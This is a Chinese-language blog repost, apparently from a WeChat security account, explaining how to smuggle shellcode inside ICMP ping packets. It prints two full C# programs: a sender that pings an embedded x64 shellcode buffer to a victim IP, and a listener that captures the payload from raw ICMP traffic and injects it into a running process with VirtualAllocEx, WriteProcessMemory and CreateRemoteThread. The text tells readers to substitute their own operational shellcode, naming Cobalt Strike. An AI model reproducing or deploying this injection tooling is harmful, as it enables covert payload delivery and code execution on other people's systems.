前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >使用ICMP传递shellcode

使用ICMP传递shellcode

作者头像
黑白天安全
发布于 2021-02-26 07:35:42
发布于 2021-02-26 07:35:42
53300
代码可运行
举报
运行总次数:0
代码可运行
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
在研究不同的渗透方法时,我遇到了一种利用DNS的技术。在编写概念证明代码时,我注意到实现的ping函数很有趣。我们可以提供一个可容纳65,500字节的缓冲区。由于大小限制很大,我们可以将shellcode加载到我们的ICMP请求中,然后将其注入到目标的进程中。

在原博客中给出了两个c#源码

shellcodeInjector.cs

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
using System.Net.NetworkInformation;

namespace shellcodeInjector
{
    class Program
    {
       
        
        public static void sendShellcode()
        {
            Ping pingSender = new Ping();
            int timeout = 10000;
            byte[] buf = new byte[311] {0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x0d,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x50,0x69,0x6e,0x67,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x00,0x53,0x68,0x65,0x6c,0x6c,0x63,0x6f,0x64,0x65,0x20,0x49,0x6e,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x76,0x69,0x61,0x20,0x50,0x49,0x4e,0x47,0x00 };


            PingOptions options = new PingOptions(64, true);
            pingSender.Send("VictimPrivIPHere", timeout, buf, options);
        }


        static void Main(string[] args)
        {
            sendShellcode();
        }
    }
}

pingInjection.cs

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;

namespace PingInjection
{
    class Program
    {
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processID);
        [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr IpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
        [DllImport("kernel32.dll")]
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);

        public static void shellcodeInjection(byte[] shellcode)
        {
            int notepadPID = 7972;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, notepadPID);
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
            byte[] buf = shellcode;
            IntPtr outSize;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
        }

        public static byte[] getShellcode()
        {
            Socket icmpListener = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.Icmp);
            icmpListener.Bind(new IPEndPoint(IPAddress.Parse("192.168.0.15"), 0));
            icmpListener.IOControl(IOControlCode.ReceiveAll, new byte[] { 1, 0, 0, 0 }, new byte[] { 1, 0, 0, 0 });
            byte[] buffer = new byte[4096];
            EndPoint remoteEndPoint = new IPEndPoint(IPAddress.Any, 0);
            byte[] shellcode = new byte[4068];

            var bytesRead = icmpListener.ReceiveFrom(buffer, ref remoteEndPoint);
            System.Buffer.BlockCopy(buffer, 28, shellcode, 0, 4068);
            return shellcode;
        }


        static void Main(string[] args)
        {
            byte[] shellcode = getShellcode();
            shellcodeInjection(shellcode);
        }
    }
}

源码不难,这里就不一一分析了。

使用Vs编译好2个c#。

新建一个C#的控制台应用

这里放进我们的shellcode,这里使用原代码进行演示

编译

然后编译pingInjection.cs

注意修改ip地址:

ok 我们都编译好了

剩下要做的就是运行两个应用程序。首先,我们启动侦听器,然后启动注入器。

在实战中我们把shellcode替换成我们的shellcode就行。例如CS的。

原文:https://blog.romanrii.com/using-icmp-to-deliver-shellcode

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-02-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
微信公众号文章爬虫,这个就够了
我订阅了近 100 个公众号,有时候想再找之前读过的文章,发现搜索起来特别困难,如果忘了收藏,估计得找半小时,更让人无语的是,文章已经发布者删除,或者文章因违规被删除。那么有没有这样的爬虫,可以将公众号的文章全部爬到本地,并提供便捷的搜索功能,这样当我想查找某类文章的时候会非常方便,同时文章都在本地,也不用担心被人删除。
somenzz
2020/11/25
15K0
微信公众号文章爬虫,这个就够了
nginx正向代理,支持https模块:ngx_http_proxy_connect_module
本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/251
joshua317
2022/03/30
4.8K0
nginx正向代理,支持https模块:ngx_http_proxy_connect_module
Java基础(3)-JDK、JRE、JVM区别与联系
本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/171
joshua317
2021/10/22
3K0
Java基础(2)Java三大版本/体系
本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/166
joshua317
2021/10/22
7340
微信开发工具包(服务号+小程序+支付)
微信支付(账单、卡券、红包、退款、转账、App支付、JSAPI支付、Web支付、扫码支付等)
程序源代码
2019/07/05
1.5K0
零java基础搞定微信Server_5_启用微信公众号开发模式
转载请注明作者twowinter:http://blog.csdn.net/iotisan/
twowinter
2020/04/17
3290
微信公众号支付开发全过程(java版)
因为微信支付需要较高的权限,只有认证了得服务号才有使用微信支付接口的权限,我们个人很难申请到,所以需要向其他朋友借用账号。
好好学java
2018/07/08
1.4K0
微信公众号支付开发全过程(java版)
一个专注于微信公众号开发的开源框架
以上文章属于此公众号原创所有,如需转载请注明出处。其中图片引用第三方。更多内容请扫描下方二维码关注。
程序源代码
2018/09/21
9.9K0
一个专注于微信公众号开发的开源框架
微信Java开发工具包的使用前言:一、weixin-java-tools介绍:二、使用方法:总结:
之前我在《Java调用微信登录以及eclipse远程调试》一文中说到了Java程序怎么调用微信登录,不过那篇文章中使用的是手工方式,本文将介绍如何使用第三方SDK(binarywang)进行微信网页授权以及获取微信用户信息。
贪挽懒月
2018/11/23
5.8K0
微信公众号支付功能开发(Java版)
下单和修改支付状态是用户的业务系统干的事,我们来说说如何快速发起支付和接收异步通知。
Java团长
2018/08/07
9450
H5的Notification特性 - Web的桌面通知功能
本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/49
joshua317
2021/08/31
2.4K0
H5的Notification特性 - Web的桌面通知功能
好用的绘图工具推荐-draw.io
首先强烈推荐drawio,免费、开源、好用!!! 首先强烈推荐drawio,免费、开源、好用!!! 首先强烈推荐drawio,免费、开源、好用!!!
joshua317
2021/09/08
4.2K2
微信公众号开发基本流程
背景: 过年前后做了个微信公众号项目,已经过去一段时间了,抽空回忆总结下基本流程吧,不然很快估计自己就忘了。。
全栈程序员站长
2022/09/06
3.9K0
微信公众号开发基本流程
微信公众号支付开发全过程(java版)
一、微信官方文档微信支付开发流程(公众号支付) 首先我们到微信支付的官方文档的开发步骤(https://pay.weixin.qq.com/wiki/doc/api/jsapi.php?chapter
好好学java
2018/08/01
6260
微信公众号支付开发全过程(java版)
【公众号开发】JAVA微信支付全教程
(1):利用开源代码 weixin-java-tools来开发效率很高,免去了很多繁琐的代码开发量;
Cheng_Blog
2022/02/25
2.3K0
使用开源库MAGICODES.WECHAT.SDK进行微信公众号支付开发
本篇主要讲解微信支付的开发流程,相关业务基于MAGICODES.WECHAT.SDK实现。通过本篇教程,您可以很方便的快速完成微信公众号支付的开发。
雪雁-心莱科技
2018/12/27
7500
微信实现一台电脑登录多个账号
注意:电脑不同,微信目标安装位置的代码有可能不一样,这个根据自身实际情况而定。记事本里面start段有多少行代码电脑将会启动多少个微信。
joshua317
2024/03/09
2600
微信实现一台电脑登录多个账号
【公众号开发】java获取微信用户openId、基本资料全教程
准备工作: 配置微信公众号的appId及secret maven引入binarywang的微信开发包,利用开源代码 weixin-java-tools来开发效率很高,免去了很多繁琐的代码开发量; ---- appId及secret配置 weixin: appId: ************* secret: ***************** @Data @ConfigurationProperties(prefix = "weixin") public class WxPayProperti
Cheng_Blog
2022/02/25
2.9K0
微信公众平台开发[4] —— ThinkPHP 框架下微信支付
版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/u011415782/article/details/53381076
泥豆芽儿 MT
2018/09/11
2.8K0
微信公众平台开发[4] —— ThinkPHP 框架下微信支付
什么是es?
本文为joshua317原创文章,转载请注明:转载自joshua317博客 https://www.joshua317.com/article/286
joshua317
2022/12/09
9810
推荐阅读
相关推荐
微信公众号文章爬虫,这个就够了
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验